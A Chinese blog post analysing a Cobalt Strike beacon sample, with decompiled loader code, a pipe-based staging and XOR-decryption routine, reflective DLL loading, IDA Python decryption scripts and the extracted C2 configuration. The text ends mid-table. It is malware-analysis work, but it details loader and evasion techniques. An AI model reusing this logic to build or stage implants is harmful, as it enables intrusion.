Cobalt Strike beacon 攻击链解析

作者:正在思考ing 发布:2026-07-21 21:26 收录:2026-09-07 16:51 2 次阅读 约 7081 字
摘要:好想回家
推荐理由:本文涵盖「攻击链」、「Cobalt Strike」、「Beacon」等多个主题,重点关注 攻击链。

期末侥幸存活,最近又在忙着培训,由于本人一心二用的本领比较差,只能晚上回宿舍后赶文章,可算是在培训结束,暑假正式开始之前写完了

其实一开始想叫“攻击链详解”的,但写完了发现好像也没有那么详细,于是改成了“解析”

大家凑合着看看吧 (つ﹏<。)

EXE 层


TLS 回调函数

上来先看到了两个 TLS 回调函数,在 beacon 中,回调函数通常会在程序入口点之前执行,来完成一些初始化工作,因此我们从这里入手

TLS(Thread Local Storage,线程本地存储)就是每个线程独立拥有的数据,线程创建时诞生,线程销毁时必须清理

TLS 回调函数的职责就是在程序运行的某个关键节点进行 TLS 的初始化与销毁

CriticalSection 就是一种线程同步锁,确保同一时刻只有一个能执行某一段代码,防止多个线程同时操作一份数据造成意外

TlsCallback_0()

__int64 __fastcall TlsCallback_0(__int64 a1, int a2)
{
  if ( dword_446450 != 2 )
    dword_446450 = 2;                        // 设置全局状态标志
  if ( a2 == 1 )                             // DLL_PROCESS_ATTACH
    sub_402DE0(a1, 1);                       // 初始化 CriticalSection
  return 1;
}

TlsCallback_1()

__int64 __fastcall TlsCallback_1(__int64 a1, int a2)
{
  if ( a2 && a2 != 3 )                      // 只处理 0 (DETACH) 和 3 (THREAD_DETACH)
    return 1;                               // 其他 reason 直接跳过
  sub_402DE0(a1, a2);
  return 1;
}

sub_402DE0() —— 清理各线程的 TLS 数据

__int64 __fastcall sub_402DE0(__int64 a1, int a2)
{
  if ( a2 == 1 )
  {
    if ( !dword_44A920 )
      InitializeCriticalSection(&CriticalSection);        // 创建 CriticalSection
    dword_44A920 = 1;                                     // 标记已初始化
    return 1;
  }
  else
  {
    if ( a2 )
    {
      if ( a2 == 3 )
      {
        if ( dword_44A920 )
          sub_402C50(a1);                                 // 清理该线程的 TLS 数据
      }
    }
    else
    {
      if ( dword_44A920 )
        sub_402C50(a1);                                   // 清理所有 TLS 数据
      if ( dword_44A920 == 1 )
      {
        dword_44A920 = 0;
        DeleteCriticalSection(&CriticalSection);          // 销毁 CriticalSection
      }
    }
    return 1;
  }
}

看不太明白,只能确定大致作用:

  • 在入口点 main() 和 start() 之前完成初始化
  • 多线程管理,beacon 采用了多线程的架构,在主线程 main() 循环外会另起管道服务器和客户端线程,这个后面会分析到,TLS 回调函数会负责各线程 TLS 数据的清理工作

前置工作完成,我们来看程序入口点

入口点 start()

int start()
{
  dword_44A070 = 1;
  sub_402A80();                        // 随机生成加密种子 or 会话密钥(可能?)
  return sub_401180();                 // 初始化、反射式 DLL 定位和 main() 调用
}

调了两个函数,我们一个一个来看

sub_402A80() —— 随机数生成

unsigned __int64 sub_402A80()
{
  unsigned __int64 result; // rax
  struct _FILETIME v1; // r12
  __int64 CurrentProcessId; // rbp
  __int64 CurrentThreadId; // rdi
  __int64 TickCount; // rsi
  LONGLONG v5; // r12
  struct _FILETIME SystemTimeAsFileTime; // [rsp+20h] [rbp-48h] BYREF
  LARGE_INTEGER PerformanceCount; // [rsp+30h] [rbp-38h] BYREF

  result = 0x2B992DDFA232LL;
  SystemTimeAsFileTime = 0;
  if ( qword_446470 == 0x2B992DDFA232LL )
  {
    GetSystemTimeAsFileTime(&SystemTimeAsFileTime);
    v1 = SystemTimeAsFileTime;
    CurrentProcessId = GetCurrentProcessId();
    CurrentThreadId = GetCurrentThreadId();
    TickCount = GetTickCount();
    QueryPerformanceCounter(&PerformanceCount);
    v5 = (TickCount
        ^ CurrentThreadId
        ^ CurrentProcessId
        ^ PerformanceCount.QuadPart
        ^ *(_QWORD *)&v1)
       & 0xFFFFFFFFFFFFLL;
    result = ~v5;
    if ( v5 == 0x2B992DDFA232LL )
    {
      result = 0xFFFFD466D2205DCCuLL;
      v5 = 0x2B992DDFA233LL;
    }
    qword_446470 = v5;
    qword_446480 = result;
  }
  else
  {
    qword_446480 = ~qword_446470;
  }
  return result;
}

取了 5 个系统熵(GetSystemTimeAsFileTimeGetCurrentProcessIdGetCurrentThreadIdGetTickCountQueryPerformanceCounter),其实就是随机数,进行异或以后截取低 48 位,若结果为 0x2B992DDFA232,则替换为 0x2B992DDFA233

将这个随机数存储在 qword_446470 中,其反值存储在 qword_446480 中

这个随机数后续并没有明显的调用(也可能是我没有分析到),只能猜测是随机生成的加密种子或会话密钥

sub_401180() —— 初始化、反射式 DLL 定位和 main() 调用

// write access to const memory has been detected, the output may be wrong!
int sub_401180()
{
  PVOID StackBase; // rbx
  signed __int64 v1; // rax
  int v2; // esi
  signed __int64 v3; // rax
  HMODULE v4; // rax
  FARPROC ProcAddress; // rax
  char v6; // cl
  char *i; // rax
  char v8; // dl
  int wShowWindow; // eax
  int v10; // edi
  char **v11; // rbp
  __int64 v12; // rax
  char **v13; // rsi
  __int64 v14; // rbx
  size_t v15; // r12
  char *v16; // rax
  char *v17; // rdx
  int result; // eax
  struct _STARTUPINFOA StartupInfo; // [rsp+20h] [rbp-98h] BYREF

  memset(&StartupInfo, 0sizeof(StartupInfo));
  if ( dword_44A070 )
    GetStartupInfoA(&StartupInfo);
  StackBase = NtCurrentTeb()->NtTib.StackBase;
  v1 = _InterlockedCompareExchange64(&qword_44AA08, (signed __int64)StackBase, 0);
  v2 = 0;
  if ( !v1 || (LOBYTE(v2) = 1, StackBase == (PVOID)v1) )
  {
LABEL_9:
    if ( dword_44AA00 == 1 )
      goto LABEL_42;
LABEL_10:
    if ( dword_44AA00 )
    {
      dword_44A000 = 1;
    }
    else
    {
      dword_44AA00 = 1;
      initterm(&qword_44C018, &qword_44C030);
    }
    if ( dword_44AA00 != 1 )
      goto LABEL_13;
    goto LABEL_43;
  }
  do
  {
    Sleep(0x3E8u);
    v3 = _InterlockedCompareExchange64(&qword_44AA08, (signed __int64)StackBase, 0);
    if ( !v3 )
    {
      v2 = 0;
      goto LABEL_9;
    }
  }
  while ( StackBase != (PVOID)v3 );
  v2 = 1;
  if ( dword_44AA00 != 1 )
    goto LABEL_10;
LABEL_42:
  amsg_exit(31);
  if ( dword_44AA00 == 1 )
  {
LABEL_43:
    initterm(&First, &Last);
    dword_44AA00 = 2;
  }
LABEL_13:
  if ( !v2 )
    _InterlockedExchange64(&qword_44AA08, 0);
  if ( off_446400 )
    off_446400(02);
  sub_4022B0();
  qword_44A0A0 = (__int64)SetUnhandledExceptionFilter(TopLevelExceptionFilter);
  sub_401B90();
  v4 = (HMODULE)sub_4028E0();
  ProcAddress = GetProcAddress(v4, "_set_invalid_parameter_handler");
  if ( ProcAddress )
    ((void (__fastcall *)(__int64 (__fastcall *)()))ProcAddress)(nullsub_1);
  sub_4029B0();
  if ( !dword_44A070 )
    goto LABEL_33;
  v6 = 0;
  for ( i = acmdln; ; ++i )
  {
    v8 = *i;
    if ( *i > 32 )
    {
      if ( v8 == 34 )
        v6 ^= 1u;
      continue;
    }
    if ( !v8 )
      goto LABEL_30;
    if ( !v6 )
      break;
  }
  do
    ++i;
  while ( *i <= 32 && *i );
LABEL_30:
  qword_44A990 = (__int64)i;
  wShowWindow = 10;
  qword_44A9A0 = 0x400000;
  if ( (StartupInfo.dwFlags & 1) != 0 )
    wShowWindow = StartupInfo.wShowWindow;
  dword_44A998 = wShowWindow;
LABEL_33:
  v10 = argc;
  v11 = (char **)malloc(8LL * (argc + 1));
  v12 = 0;
  v13 = argv;
  if ( v10 > 0 )
  {
    v14 = 0;
    do
    {
      v15 = (int)(strlen(v13[v14]) + 1);
      v16 = (char *)malloc(v15);
      v11[v14] = v16;
      v17 = v13[v14++];
      memcpy(v16, v17, v15);
    }
    while ( v10 > (int)v14 );
    v12 = v10;
  }
  v11[v12] = 0;
  argv = v11;
  sub_402A60();
  _initenv = envp;
  result = main(argc, (const char **)argv, (const char **)envp);
  dword_44A018 = result;
  if ( !dword_44A01C )
    exit(result);
  if ( !dword_44A000 )
  {
    cexit();
    return dword_44A018;
  }
  return result;
}

估计 beacon 是用 C 写的,这个函数负责 C 运行时库的初始化

  1. 堆栈基址互斥锁:使用 _InterlockedCompareExchange64 确保多线程安全
  2. 初始化 C 运行时initterm() 调用全局构造函数
  3. TLS 线程附着off_446400(0, 2) 调用 TlsCallback_0
  4. 设置异常处理SetUnhandledExceptionFilter 设置顶层异常过滤器
  5. SEH 表注册sub_401B90() 注册 .pdata 段的异常处理函数表
  6. MSVCRT 解析sub_4028E0() 搜索并获取 msvcrt.dll 模块句柄
  7. 命令行解析:解析命令行参数
  8. 调用 main(argc, argv, envp)

这谁看得懂啊,我们来看重点的

sub_4028E0() —— 加载 MSVCRT.DLL
HMODULE sub_4028E0()
{
  HMODULE result; // rax
  int i; // ecx
  int v2; // ebx
  __int64 v3; // rax
  char v4; // dl
  char v5; // dl
  char v6; // dl
  char v7; // dl
  char v8; // dl

  result = (HMODULE)qword_44A370;
  if ( !qword_44A370 )
  {
    for ( i = 0; ; i = v2 )
    {
      v2 = i + 1;
      v3 = sub_402850();
      if ( !v3 )
        break;
      if ( *(_BYTE *)v3 == 'M' || *(_BYTE *)v3 == 'm' )
      {
        v4 = *(_BYTE *)(v3 + 1);
        if ( v4 == 'S' || v4 == 's' )
        {
          v5 = *(_BYTE *)(v3 + 2);
          if ( v5 == 'V' || v5 == 'v' )
          {
            v6 = *(_BYTE *)(v3 + 3);
            if ( v6 == 'C' || v6 == 'c' )
            {
              v7 = *(_BYTE *)(v3 + 4);
              if ( v7 == 'R' || v7 == 'r' )
              {
                v8 = *(_BYTE *)(v3 + 5);
                if ( v8 == 'T' || v8 == 't' || (unsigned __int8)(v8 - 48) <= '\t' )
                {
                  result = GetModuleHandleA((LPCSTR)v3);
                  qword_44A370 = (__int64)result;
                  if ( result )
                    return result;
                  break;
                }
              }
            }
          }
        }
      }
    }
    result = LoadLibraryW(L"msvcrt.dll");
    qword_44A370 = (__int64)result;
  }
  return result;
}

总之就是在大小不敏感地匹配 MSVCRT.DLL,如果没匹配上就 LoadLibraryW(L"msvcrt.dll") 保底

main() —— beacon 主循环!
int __fastcall main(int argc, const char **argv, const char **envp)
{
  sub_402A60(argc, argv, envp);
  sub_401795(0);
  while ( 1 )
    Sleep(0x2710u);
}
sub_402A60() —— 一次性初始化
__int64 sub_402A60()
{
  __int64 result; // rax

  result = (unsigned int)dword_44A380;
  if ( !dword_44A380 )
  {
    dword_44A380 = 1;
    return sub_402A00();
  }
  return result;
}

设置一个全局标志 dword_44A380 保证 main() 只调用一次,就算以外调用多次也是执行 sub_402A00() 进行安全初始化,而不会出现重复初始化,反正不重要

sub_401795() —— payload 自提取
__int64 sub_401795()
{
  DWORD TickCount; // eax
  DWORD dwCreationFlags; // [rsp+20h] [rbp-48h]
  int lpThreadId; // [rsp+28h] [rbp-40h]
  int v4; // [rsp+30h] [rbp-38h]
  int v5; // [rsp+38h] [rbp-30h]
  int v6; // [rsp+40h] [rbp-28h]
  int v7; // [rsp+48h] [rbp-20h]
  int v8; // [rsp+50h] [rbp-18h]

  TickCount = GetTickCount();
  v8 = '\\';
  v7 = 'e';
  v6 = 'p';
  v5 = 'i';
  v4 = 'p';
  lpThreadId = '\\';
  dwCreationFlags = '.';
  sprintf(
    Buffer,
    "%c%c%c%c%c%c%c%c%cMSSE-%d-server",           // 管道命名:\\.\pipe\MSSE-xxx-server
    '\\',
    '\\',
    dwCreationFlags,
    lpThreadId,
    v4,
    v5,
    v6,
    v7,
    v8,
    TickCount % 0x26AA);
  // 管道服务器线程 sub_401685() --> sub_4015D0(),发送加密 payload
  CreateThread(00, (LPTHREAD_START_ROUTINE)sub_401685, 000);
  // 管道客户端线程,接收加密 payload 并解密
  return sub_401742();
}

先来总览一下这个函数

sub_401795()
  │
  ├─ GetTickCount() % 0x26AA  → 随机数 0~9899
  ├─ sprintf("\\.\pipe\MSSE-%d-server", 随机数)  → 管道名
  │
  ├─ [新线程] CreateThread → sub_401685
  │     └─ sub_4015D0(加密数据, 0x40200字节)
  │           │
  │           ├─ CreateNamedPipeA("\\.\pipe\MSSE-xxx-server", PIPE_TYPE_MESSAGE)
  │           ├─ ConnectNamedPipe()        ← 阻塞等待客户端连接
  │           ├─ WriteFile(加密 DLL, 256KB) ← 写入加密的 Beacon DLL
  │           └─ CloseHandle()
  │
  └─ [当前线程] sub_401742()
        │
        ├─ malloc(0x40200)                 ← 分配 256KB 缓冲区
        ├─ 循环重试:
        │    Sleep(1024ms)
        │    sub_4016A2(buffer)             ← 连接管道并读取数据
        │         ├─ CreateFileA(管道名, GENERIC_READ)
        │         ├─ ReadFile(256KB)
        │         └─ CloseHandle()
        │
        └─ sub_40152E(buffer, 256KB, XOR密钥)
              │
              ├─ VirtualAlloc(MEM_COMMIT, PAGE_READWRITE)
              ├─ for i in 0..256KB:
              │     v7[i] = buffer[i] ^ key[i & 3]    ← 4字节循环XOR解密
              ├─ sub_4014F3()                         ← 修复导入表
              ├─ VirtualProtect(PAGE_EXECUTE_READ)     ← 改为可执行
              └─ CreateThread → jmp rcx                ← 执行解密后的 DLL

程序创建了一个管道将加密的 payload 传给自己,有两个好处:

  • 对抗静态分析:加密 payload 传输通过了一个完整的管道通信过程,而不是简单的 memcpy,静态扫描难以追踪这个过程
  • 伪装:管道是 Windows 进程之间的正常通信行为,且管道名称 MSSE- 的前缀伪装成 Microsoft Security Essentials,看起来就像杀软之间的合法通信

管道已经创建好,接下来来看看管道的两端

管道服务器线程 sub_401685() --> sub_4015D0()

__int64 __fastcall sub_401685(LPVOID lpThreadParameter)
{
  sub_4015D0(&unk_404014, nNumberOfBytesToRead);
  return 0;
}

// lpBuffer 是传输数据的地址,nNumberOfBytesToWrite 是传输数据的大小
int __fastcall sub_4015D0(char *lpBuffer, signed int nNumberOfBytesToWrite)
{
  char *NamedPipeA; // rbx
  int result; // eax
  DWORD NumberOfBytesWritten; // [rsp+4Ch] [rbp-2Ch] BYREF

  NumberOfBytesWritten = 0;
  NamedPipeA = (char *)CreateNamedPipeA(Buffer, 2u01u0000);
  result = (_DWORD)NamedPipeA - 1;
  if ( (unsigned __int64)(NamedPipeA - 1) <= 0xFFFFFFFFFFFFFFFDuLL )
  {
    result = ConnectNamedPipe(NamedPipeA, 0);
    if ( result )
    {
      // WriteFile() 将加密 payload 写入管道
      while ( nNumberOfBytesToWrite > 0
           && WriteFile(NamedPipeA, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0) )
      {
        nNumberOfBytesToWrite -= NumberOfBytesWritten;
        lpBuffer += NumberOfBytesWritten;
      }
      return CloseHandle(NamedPipeA);
    }
  }
  return result;
}

可以确定加密 payload 在 unk_404014,大小为 nNumberOfBytesToRead(0x40200 byte)

想必 payload 的解密逻辑就在管道的另一端了

管道客户端线程 sub_401742()

__int64 sub_401742()
{
  void *v0; // rbx

  v0 = malloc((int)nNumberOfBytesToRead);
  do
    Sleep(0x400u)
;
  while ( !(unsigned int)sub_4016A2(v0, nNumberOfBytesToRead) ); // 从管道读取数据
  sub_40152E(v0, nNumberOfBytesToRead, &unk_404008); // 解密 payload
  return 0;
}

来看解密函数 sub_40152E()

HANDLE __fastcall sub_40152E(__int64 a1, int a2, __int64 a3)
{
  SIZE_T v3; // rsi
  _BYTE *v7; // rbx
  __int64 i; // rax
  DWORD flOldProtect[11]; // [rsp+3Ch] [rbp-2Ch] BYREF

  v3 = a2;
  v7 = VirtualAlloc(0, a2, 0x3000u, 4u);                    // 分配内存
  for ( i = 0; (int)i < a2; ++i )
    v7[i] = *(_BYTE *)(a1 + i) ^ *(_BYTE *)(a3 + (i & 3));  // 循环异或解密
  sub_4014F3(v7, (unsigned int)i);                          // 修复导入表
  VirtualProtect(v7, v3, 0x20u, flOldProtect);              // 将内存修改为可执行
  return CreateThread(00, StartAddress, v7, 00);        // 创建新线程,加载解密后的 payload
}

逻辑很简单,先解密 payload,再用 CreateThread() 创建新线程,执行 StartAddress

StartAddress 只有 jmp rcx,就是跳转到解密 payload 的基址开始执行

解密逻辑也很简单,拿 unk_404008 处的 4 byte 长度的密钥与密文循环异或

密钥可以确定是 6DF79E09,提取 unk_404014 处大小为 0x40200 byte 的加密 payload 与密钥循环异或解密即可

在 ida 中,File-Script file,选择下面的脚本即可

"""
IDA Python 脚本:提取并解密 Cobalt Strike Beacon 嵌入的 DLL

用法:
  1. 在 IDA Pro 中打开目标程序
  2. File → Script file → 选择本脚本
  3. 解密后的 Beacon DLL 将保存到当前工作目录下
"""


import idaapi
import idc
import os

# === 参数 ===
ENCRYPTED_ADDR = 0x404014          # 加密数据起始地址
ENCRYPTED_SIZE = 0x40200           # 262,656 字节
KEY_ADDR       = 0x404008          # 4 字节 XOR 密钥地址
OUTPUT_FILE    = "beacon_decrypted.dll"

def read_bytes(addr, size):
    """从指定地址读取 size 个字节"""
    data = b""
    for i in range(size):
        byte = idc.get_wide_byte(addr + i)
        data += bytes([byte])
    return data

def xor_decrypt(data, key):
    """4 字节循环 XOR 解密"""
    result = bytearray(len(data))
    for i in range(len(data)):
        result[i] = data[i] ^ key[i & 3]
    return bytes(result)

def main():
    print("[*] 读取 4 字节 XOR 密钥 @ 0x%X" % KEY_ADDR)
    key = read_bytes(KEY_ADDR, 4)
    print("[*] 密钥: %s" % " ".join("%02X" % b for b in key))

    print("[*] 读取密文 @ 0x%X, 大小: 0x%X (%d bytes)" % (ENCRYPTED_ADDR, ENCRYPTED_SIZE, ENCRYPTED_SIZE))
    encrypted = read_bytes(ENCRYPTED_ADDR, ENCRYPTED_SIZE)

    print("[*] XOR 解密中...")
    decrypted = xor_decrypt(encrypted, key)

    # 验证 MZ 头
    if decrypted[:2] == b"MZ":
        print("[+] 解密成功!PE 头验证通过 (MZ)")
    else:
        print("[-] 警告:解密结果不以 'MZ' 开头,密钥可能不正确")
        print("    前 4 字节: %s" % " ".join("%02X" % b for b in decrypted[:4]))
        return

    # PE 上报的实际大小(从 PE 头读取)
    pe_size = None
    if decrypted[:2] == b"MZ":
        pe_offset = int.from_bytes(decrypted[0x3C:0x40], "little")
        if pe_offset + 4 <= len(decrypted):
            size_of_image = int.from_bytes(decrypted[pe_offset+0x50:pe_offset+0x54], "little")
            pe_size = size_of_image
            print("[*] PE SizeOfImage: 0x%X (%d bytes)" % (pe_size, pe_size))

    # 写入文件
    output_data = decrypted if pe_size is None else decrypted[:pe_size]
    out_path = os.path.join(os.path.dirname(idaapi.get_input_file_path()), OUTPUT_FILE)

    with open(out_path, "wb"as f:
        f.write(output_data)

    print("[+] 已保存 %d 字节到: %s" % (len(output_data), out_path))
    print("[+] 完成 — 可以用 IDA 打开 %s 继续分析" % OUTPUT_FILE)

if __name__ == "__main__":
    main()

解密出来发现文件头是 MZ,是个 dll,改个后缀加载进 ida 继续分析

真正的攻击才刚刚开始

DLL 层


本人上来是先搜字符串的

发现了明显的 powershell 命令执行的模板,但是没有直接的调用,只好从头分析

ReflectiveLoader() —— 反射式 DLL 加载

对于一个普通的 dll 而言,需要外部进程通过 LoadLibrary() 完成一系列加载过程

而这个 dll 是由上一层的 exe 解密后直接加载进内存的,需要这个手写的加载器 ReflectiveLoader() 作为入口点,完成一系列的自加载过程,使得 dll 不需要外部进程调用 LoadLibrary()、不需要导出函数被外部使用,就能自举完成加载并进入自主运行状态

大概就是这个意思,所以我们从这个函数入手

__int64 __fastcall ReflectiveLoader(__int64 a1)
{
  __int64 v1; // rax
  unsigned __int8 v3; // [rsp+30h] [rbp-A8h]
  __int64 v4; // [rsp+38h] [rbp-A0h]
  void *v5; // [rsp+40h] [rbp-98h]
  __int64 v6; // [rsp+40h] [rbp-98h]
  unsigned int v7; // [rsp+48h] [rbp-90h]
  unsigned int v8; // [rsp+4Ch] [rbp-8Ch] BYREF
  __int64 v9; // [rsp+50h] [rbp-88h]
  __int64 v10; // [rsp+58h] [rbp-80h] BYREF
  __int64 v11; // [rsp+60h] [rbp-78h]
  unsigned __int64 v12; // [rsp+68h] [rbp-70h]
  _QWORD v13[13]; // [rsp+70h] [rbp-68h] BYREF

  v10 = 0;
  v8 = 0;
  strcpy((char *)v13, "AAAAAAAABBBBBBBB");
  BYTE1(v13[2]) = 0;
  WORD1(v13[2]) = 0;
  HIDWORD(v13[2]) = 0;
  memset(&v13[3], 064);
  v9 = sub_180016EF4();
  if ( (v13[0] & 0xFFFFFF) == 0x414141 && (v13[1] & 0xFFFFFF) == 0x424242 )
    sub_180016F84(v13);
  if ( !(unsigned int)sub_180017314(v13) )
    sub_180017374(v13);
  v4 = *(int *)(v9 + 60) + v9;
  if ( (*(_WORD *)(v4 + 22) & 0x8000) == 0x8000 )
    v7 = 64;
  else
    v7 = 4;
  v5 = (void *)sub_1800175C4(v13, v4, v9, v7);
  v12 = *(unsigned int *)(v4 + 80);
  memset(v5, 0, v12);
  v3 = *(_BYTE *)(v4 + 16);
  v6 = sub_180017774(v5, v4, v9, v3);
  sub_180017834(v6, v4, v9, (unsigned int)&v10, (__int64)&v8);
  sub_180017934((unsigned int)v13, v6, v4, v9, v3);
  sub_180016E84(v10, v8, v3);
  sub_180017BF4(v6, v4);
  sub_180017714(v13, v10, v8, v7);
  memset(v13, 00x58u);
  if ( (*(_WORD *)(v4 + 22) & 0x1000) == 0x1000 )
    v1 = *(unsigned int *)(v4 + 128);
  else
    v1 = *(unsigned int *)(v4 + 40);
  v11 = v1 + v6;
  ((void (__fastcall *)(__int64, __int64, __int64))(v1 + v6))(v6, 1, a1);
  return v11;
}

先来看一看完整流程

ReflectiveLoader(lpReserved)
  │
  ├─ 1. sub_180016EF4()  → 自定位:找 DLL 基址
  │
  ├─ 2. sub_180016F84 / sub_180017374  → 初始化配置
  │
  ├─ 3. 解析 PE 头 → 判断 PE32/PE32+
  │
  ├─ 4. sub_1800175C4()  → VirtualAlloc 分配新内存
  │
  ├─ 5. sub_180017774()  → 复制 PE 头 + 各段到新内存
  │
  ├─ 6. sub_180017834()  → 自行解析导入表 (IAT)
  │
  ├─ 7. sub_180017934()  → 处理基址重定位 (RELOC)
  │
  ├─ 8. sub_180016E84()  → FlushInstructionCache
  │
  ├─ 9. sub_180017BF4()  → VirtualProtect 设置段保护
  │
  ├─ 10. sub_180017714() → 调用 TLS 回调
  │
  └─ 11. DllMain(hInstance, DLL_PROCESS_ATTACH, lpReserved)

看不懂,直接来看重点吧

sub_180016EF4() —— 定位 DLL 基址

__int64 sub_180016EF4()
{
  __int64 i; // [rsp+20h] [rbp-18h]
  unsigned __int64 v2; // [rsp+28h] [rbp-10h]
  
  // sub_180016E74() 就是 retaddr(),返回当前地址
  for ( i = sub_180016E74(); ; --i )
  {
    if ( *(_WORD *)i == 'ZM' )
    {
      v2 = *(int *)(i + 60);
      if ( v2 >= 0x40 && v2 < '\x04\0' && *(_DWORD *)(i + v2) == 'EP' )
        break;
    }
  }
  return i;
}

这是本人唯一能看明白的部分,也刚好是重点部分,这个函数逻辑很简单,就是要找到 dll 在内存中的基址,便于后续反射式自加载

  1. 通过 sub_180016E74() 调用 retaddr() 获取当前地址
  2. 向低地址遍历,匹配 dll 文件的文件头 mz
  3. 当匹配到 mz 时,还需要校验:
    • 在 mz 后 60bytes 处的 e_lfanew 字段记录着PE文件头 PE 的偏移,校验其值是否在合理范围内
    • 到相应偏移处去确认是否为 PE
  4. 通过校验,可以确定找到了 dll 当前在内存中的基址

这是恶意程序的典型特征

编译器在生成代码时,会假设 dll 被加载到一个固定的基址,程序中其他所有地址都是基于这个地址写死的,但实际上 dll 被加载的位置是不确定的,因此需要进行地址的重定位

寻找基址的目的就是为了实现地址重定位,在绝对地址上加上偏移,确保所有的命令能指向正确的函数地址

导入表记录需要调用的外部 api 的绝对地址,但是导入表在在 PE 头中的地址是一个相对地址,因此找到基址也有利于 dll 定位到导入表

接下来就是分配新内存、把整个 PE 结构搬过去、解析导入表、处理重定位......

总之就是这个 dll 独立完成了加载工作

ReflectiveLoader() 最后调用了 DllMain(),虽然没有直接调用

大致就是自行通过基址 v6 + 相对地址 v1 计算出了 DllMain() 的入口点,并且设定第二个参数 fdwReason 为 1(这个很重要)

具体不太明白,但是凭直觉也知道接下来该看 DllMain() 了

DllMain()

BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
  DWORD v5; // edx
  struct _MEMORY_BASIC_INFORMATION Buffer; // [rsp+20h] [rbp-38h] BYREF

  v5 = fdwReason - 1;
  if ( v5 )
  {
    if ( v5 == 3 )
    {
      if ( (unsigned __int16)sub_180018664(38) == 1 && hinstDLL && VirtualQuery(hinstDLL, &Buffer, 0x30u) )
      {
        if ( Buffer.Type == 0x20000 )
        {
          VirtualFree(hinstDLL, 00x8000u);
        }
        else if ( Buffer.Type == 0x40000 )
        {
          UnmapViewOfFile(hinstDLL);
        }
      }
      sub_18000CA74(lpvReserved);
    }
  }
  else
  {
    sub_180018694();
  }
  return 1;
}

书接上文,由于调用 DllMain() 时传入的 fdwReason 参数为 1,因此这里先执行 sub_180018694()

sub_180018694() —— 解密配置模块
void *__fastcall sub_180018694(__int64 a1)
{
  __int64 i; // rax
  __int64 v2; // rdx
  int v3; // ebx
  __int64 v4; // rdx
  __int16 v5; // ax
  __int16 v6; // si
  __int64 v7; // rdi
  size_t v8; // rbx
  const void *v9; // rax
  __int16 v10; // ax
  __int64 v11; // rdx
  __int16 v12; // di
  _BYTE v14[40]; // [rsp+20h] [rbp-28h] BYREF

  qword_180047710 = a1;                        // 保存 dll 实例句柄到 qword_180047710
  qword_180047718 = (__int64)malloc(0x800u);   // 分配 0x800bytes 的内存存储配置表
  memset((void *)qword_180047718, 00x800u);  // 将分配的内存空间置 0
  for ( i = 0; i < 4096; ++i )                 // 异或 0x2E 解密配置模块
    byte_18003C030[i] ^= 0x2Eu;
  sub_180013E30(v14, byte_18003C030, 4096);    // 将解密的配置模块写入 byte_18003C030
  while ( 1 )                                  // 配置模块读取
  {
    v12 = sub_180013EDC(v14, v2);
    if ( v12 <= 0 )
      break;
    v3 = (__int16)sub_180013EDC(v14, v11);
    v5 = sub_180013EDC(v14, v4);
    v6 = v5;
    v7 = 16LL * v12;
    *(_WORD *)(v7 + qword_180047718) = v3;
    if ( v3 == 1 )
    {
      v10 = sub_180013EDC(v14, (unsigned int)(v3 - 1));
      v2 = qword_180047718;
      *(_WORD *)(v7 + qword_180047718 + 8) = v10;
    }
    else if ( v3 == 2 )
    {
      *(_DWORD *)(v7 + qword_180047718 + 8) = sub_180013E40(v14);
    }
    else
    {
      v2 = (unsigned int)(v3 - 3);
      if ( v3 == 3 )
      {
        v8 = v5;
        *(_QWORD *)(v7 + qword_180047718 + 8) = malloc(v5);
        v9 = (const void *)sub_180013E78(v14, (unsigned int)v6);
        memmove(*(void **)(v7 + qword_180047718 + 8), v9, v8);
      }
    }
  }
  return memset(byte_18003C030, 0sizeof(byte_18003C030));   // 清除明文配置模块
}

程序逻辑很简单

  1. 分配并初始化存放配置模块的内存空间
  2. 解密配置模块并写入刚刚分配的内存空间
  3. 读取配置模块
  4. 将明文配置模块清除

读完了还要清除,那很可疑了,我们来解密看看

编写脚本,读取 0x18003C030 处的 4096 字节逐字节异或 0x2E 解密即可

和上面的脚本一个用法

# IDA Python script: decrypt the embedded beacon config at 0x18003C030
# Algorithm: XOR each byte with 0x2E, length 4096 bytes
# Output: exports decrypted data to a file, does NOT modify the IDB

import idaapi
import idc
import os

def decrypt_config():
    start_ea = 0x18003C030
    length = 4096
    key = 0x2E

    # Get the IDB directory as output path
    idb_path = idc.get_idb_path()
    out_dir = os.path.dirname(idb_path) if idb_path else "."
    out_path = os.path.join(out_dir, "beacon_config_decrypted.bin")

    print(f"[*] Reading config from {hex(start_ea)}{length} bytes, XOR key: {hex(key)}")

    decrypted = bytearray()
    for i in range(length):
        cipher = idc.get_wide_byte(start_ea + i)
        decrypted.append(cipher ^ key)

    # Export to binary file
    with open(out_path, "wb"as f:
        f.write(decrypted)
    print(f"[+] Exported decrypted config to: {out_path}")

    # Print first 256 bytes as hex dump
    print("[*] First 256 bytes after decryption:")
    for i in range(025616):
        hex_str = " ".join(f"{decrypted[i+j]:02X}" for j in range(16))
        ascii_str = "".join(chr(decrypted[i+j]) if 32 <= decrypted[i+j] < 127 else "." for j in range(16))
        print(f"  {i:04X}{hex_str}  {ascii_str}")

    # Print all readable strings (>= 4 printable chars)
    print("\n[*] Readable strings found:")
    current = bytearray()
    for i in range(length):
        b = decrypted[i]
        if 32 <= b < 127:
            current.append(b)
        else:
            if len(current) >= 4:
                print(f"  offset {i - len(current):04X}{current.decode()}")
            current = bytearray()
    if len(current) >= 4:
        print(f"  offset {length - len(current):04X}{current.decode()}")

    return decrypted

if __name__ == "__main__":
    decrypt_config()

脚本会自动将解密结果写入一个 .bin 文件并提取可打印字符串输出在终端中,我们来看一看

[*] Readable strings found:
  offset 0058: dl7~
  offset 00A7: 3mP2Z5
  offset 0138: 192.168.50.5,/cx
  offset 0279: @%windir%\syswow64\rundll32.exe
  offset 02BF: @%windir%\sysnative\rundll32.exe
  offset 0324: POST
  offset 035E: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0)
  offset 0463: @/submit.php
  offset 05C4: Cookie
  offset 07BD: &Content-Type: application/octet-stream
  offset 0E5F: p-!m
  offset 0EF8: ; p4
  offset 0F13: 'a7LE
  offset 0F23: %k]8,
  offset 0FA3: 7)g6v

重大发现!

C2 通信配置

偏移
解读
0138192.168.50.5,/cx
C2 服务器 IP + URI 路径后缀
0463@/submit.php
HTTP GET 请求路径(心跳/任务拉取)
0324POST
HTTP 方法,POST 用于回传数据
035EMozilla/4.0 (compatible; MSIE 7.0; ...)
User-Agent 伪装成 IE7
07BD&Content-Type: application/octet-stream
